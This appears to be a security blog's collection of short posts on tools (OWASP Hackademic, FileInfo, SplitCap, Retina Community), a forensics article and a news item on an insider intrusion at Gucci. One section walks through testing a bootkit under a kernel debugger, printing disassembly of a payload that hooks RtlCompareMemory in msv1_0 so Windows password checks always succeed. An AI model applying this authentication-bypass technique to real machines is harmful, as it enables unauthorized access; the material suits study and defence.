OWASP Hackademic Challenges
This is an open source project that helps us test our knowledge on web applications security. This can actually be used to attack web applications in a realistic but controllable safe env.
You can download the current version here. Don't feel like setting up the env. yourself. Try the live hosted version. Kudos to the OWASP team.
Dave Hull has this nice blog article describing the use of the concept of "Least Frequency of Occurence" principle that Peter Silberman spoke about at SANS Forensics Summit. Please keep in mind that it is a hypothetical scenario based on an actual case. So there possibly are better ways of "finding the evil", in the hypothetical case, but its meant to show how this concept works.
Read more here.
Have been using a Mac for a while now. Missed Microsoft OneNote that I use extensively on my work machine. Today I came across a gem in Mac called Growly Notes. Growly notes bring a lot of OneNote-like interface and lsot of features to Mac for free. Growly Notes lacks many of the robust features of OneNote, but works good for me. Being an active OneNote user, getting comfortable using Growly did not take a lot. Almost everything works the same way. Interface feels very familiar.
Kudos to Growly bird software guys. Please give a shout out to those guyz.
FileInfo is an opensource GUI forensic tool designed to extract information from files. A text version has been available for a while.
This Beta version allows you to do the following:
- Meta Data Information
- String ASCII and Unicode
- Hash MD5 and SHA1
- Detect and Show PE32 Information
- Detect and Extract Thumbnail from JPEG file
More information can be found here.
Usage: SplitCap [OPTIONS]…
OPTIONS:
-r <input_file> : Set the pcap file to read from
-o <output_directory> : Manually specify output directory
-d : Delete previous output data
-p <nr_parallel_sessions> : Set the number of parallel sessions
to keep in memory (default = 10000). More sessions might be needed to
split pcap files from busy links such as an Internet backbone link, this
will however require more memory
-b <file_buffer_bytes> : Set the number of bytes to buffer for
each session/output file (default = 10000). Larger buffers will speed up
the process due to fewer disk write operations, but will occupy more
memory.
-s <GROUP> : Split traffic and group packets to pcap files based on <GROUP>. Possible values for <GROUP> are:
flow : Each flow, i.e. unidirectional traffic for a 5-tuple, is grouped
host : Traffic grouped to one file per host. Most packets will end up in two files.
hostpair : Traffic grouped based on host-pairs communicating
nosplit : Do not split traffic. Only create ONE output pcap.
(default) session : Packets for each session (bi-directional flow) are grouped
-ip <IP address to filter on>
-port <port number to filter on>
-y <FILETYPE> : Output file type for extracted data. Possible values for <FILETYPE> are:
L7 : Only store application layer data
(default) pcap : Store complete pcap frames
Example 1: SplitCap -r dumpfile.pcap
Example 2: SplitCap -r dumpfile.pcap -o session_directory
Example 3: SplitCap -r dumpfile.pcap -s hostpair
Example 4: SplitCap -r dumpfile.pcap -s flow -y L7
Example 5: SplitCap -r dumpfile.pcap -ip 1.2.3.4 -port 80 -port 443 -s nosplit
SplitCap is created as part of the Statistical Protocol IDentification research project carried out by Erik Hjelmvik with fundings from .SE (The Swedish Internet Infrastructure Foundation).
SplitCap can since version 1.5 also be used in order to efficiently
filter a large PCAP file based on one or several IP addresses or TCP/UDP
port numbers. Simply use the “-s nosplit” option together with one
or several “-port” or “-ip” switches to specify what traffic to keep
from the large pcap file. SplitCap performs this type of filtering
much faster and with way less memory usage compared to tshark.
More details about SplitCAP here.
"Computer hacking is not a game. It is a serious threat to corporate
security that can have a devastating effect on personal privacy, jobs,
and the ability of a business to function at all," said Manhattan
district attorney Cyrus R. Vance Jr., in a statement.
How did a former employee gain access to a corporate network and delete
data? Authorities accuse Yin of creating "a VPN token in the name of a
fictional employee," and then, when he was fired, stealing this
USB-based token to gain remote access.
According to authorities, "in the months that followed, using the VPN
token, Yin exploited his familiarity with Gucci's network configuration
and administrator-level passwords to gain nearly unfettered access to
Gucci's network."
Rigorous Internal IT auditing is essential to mitigate the risk of disgruntled employees, and use of orphan/hidden accounts that employees in a position to abuse privileges could create. What did you company internal audit find out !!?? Dormant active accounts are screaming sirens waiting to be noticed. Use technologies like SIEM, to track usage of service accounts, beyond their intended use.
To test the bootkit, you can setup XP in VMWare to boot from C:\bootkit.iso
(don't forget to change boot device in VMWare BIOS to CD). If you want
to see what's going on during the logon process, you can attach windbg.
msconfig (add option /DEBUG with COM1 and fastest baudrate). Turn off XP. "C:\Program Files\Debugging Tools for Windows
(x86)\windbg.exe" -y srv*c:\windows\symbols*
http://msdl.microsoft.com/download/symbols -b -k com:pipe,
port=\\.\pipe\com_1,resets=0If you're successful, you'll see:
Microsoft (R) Windows Debugger Version 6.9.0003.113 X86
Copyright (c) Microsoft Corporation. All rights reserved.
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows XP 2600 x86 compatible target, ptr64 FALSE
Kernel Debugger connection established. (Initial Breakpoint requested)
Symbol search path is: srv*c:\windows\symbols*
http://msdl.microsoft.com/download/symbols;SRV**
http://msdl.microsoft.com/download/symbols
Executable search path is:
Windows XP Kernel Version 2600 UP Free x86 compatible
Built by: 2600.xpsp_sp2_rtm.040803-2158
Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055ab20
System Uptime: not available
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
* *
* You are seeing this message because you pressed either *
* CTRL+C (if you run kd.exe) or, *
* CTRL+BREAK (if you run WinDBG), *
* on your debugger machine's keyboard. *
* *
* THIS IS NOT A BUG OR A SYSTEM CRASH *
* *
* If you did not intend to break into the debugger, press the "g" key, then *
* press the "Enter" key now. This message might immediately reappear. If it *
* does, press "g" and "Enter" again. *
* *
*******************************************************************************
nt!RtlpBreakWithStatusInstruction:
804e3b25 cc int 3IoCreateDriver: kd> u IoCreateDriver
nt!IoCreateDriver:
805d60e3 b8c3f00980 <span class="code-keyword">mov</span> eax,8009F0C3h <- address of payload.asm/_stager
805d60e8 ffd0 <span class="code-keyword">call</span> <span class="code-keyword">eax</span> <- <span class="code-keyword">call</span> _stager
...
kd> uf 8009F0C3h <- _stager
8009f0c3 802c2407 <span class="code-keyword">sub</span> <span class="code-keyword">byte</span> <span class="code-keyword">ptr</span> [esp],7
8009f0c7 <span class="code-digit">60</span> pushad
8009f0c8 66bb53a3 <span class="code-keyword">mov</span> bx,0A353h
8009f0cc e80b010000 <span class="code-keyword">call</span> 8009f1dc
8009f0d1 68ecf00980 <span class="code-keyword">push</span> 8009F0ECh <- address of payload.asm/
PspLoadImageNotifyRoutine
8009f0d6 ffd0 <span class="code-keyword">call</span> <span class="code-keyword">eax</span>
...
cleanup hook
8009F0ECh <- PspLoadImageNotifyRoutine
- checks if the loaded module is msv1_0.dll
- if yes, hooks IAT RtlCompareMemorykd> !process 0 0 winlogon.exe
PROCESS 819aaa88 SessionId: 0 Cid: 0274 Peb: 7ffd8000 ParentCid: 01f0
DirBase: 0a5b2000 ObjectTable: e13d6110 HandleCount: 398.
Image: winlogon.exe
kd> .process /p /r 819aaa88
Implicit process is now 819aaa88
.cache forcedecodeuser done
Loading User Symbols
....................................................
kd> uf msv1_0!MsvpPasswordValidate <- we want this function to return always TRUE
msv1_0!MsvpPasswordValidate:
77c69927 ?? ???
^ Memory access error in
'u msv1_0!MsvpPasswordValidate l3'
kd> .pagein msv1_0!MsvpPasswordValidate
You need to continue execution (press 'g' <enter>) for the pagein to be brought in.
When the debugger breaks in again, the page will be present.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
804e3b25 cc int 3
kd> dd msv1_0!_imp__RtlCompareMemory l1 <- this is IAT entry for RtlCompareMemory
77c610cc 77c60fe5 <- and this is address of our
new RtlCompareMemory: RtlCompareMemoryPatch
kd> u 77c60fe5 <- payload.asm/RtlCompareMemoryPatch
- if size of chunks to compare is 10h (hash size), then return 0 (=TRUE)
- else call original RtlCompareMemory
- it's a nasty hack, use different method in production use :)bp msv1_0!MsvpPasswordValidate' (to remove it, type 'bc*') and step through the login process using commands 't' or 'p'. For help, type command '.help command_name'.
Retina Community is a free vulnerability scanner for up to 32 IPs, powered by the renowned Retina Network Security Scanner technology. Retina Community identifies vulnerabilities, configuration issues, and missing patches across operating systems, applications, devices, and virtual environments.
Much more than a stripped down “free trial” product, Retina Community gives you powerful vulnerability assessment across your environment to strengthen security and compliance. The free Retina Community product includes these capabilities:
Vulnerability assessment across operating systems, applications, devices, and virtual environments (32 IPs)
Zero-day vulnerability identification
SCAP configuration scanning
Integrated vulnerability updates and alerting
Detailed vulnerability and executive-level reporting
Report export to XML, CSV, and PDF
Online support and resources from eEye’s research team
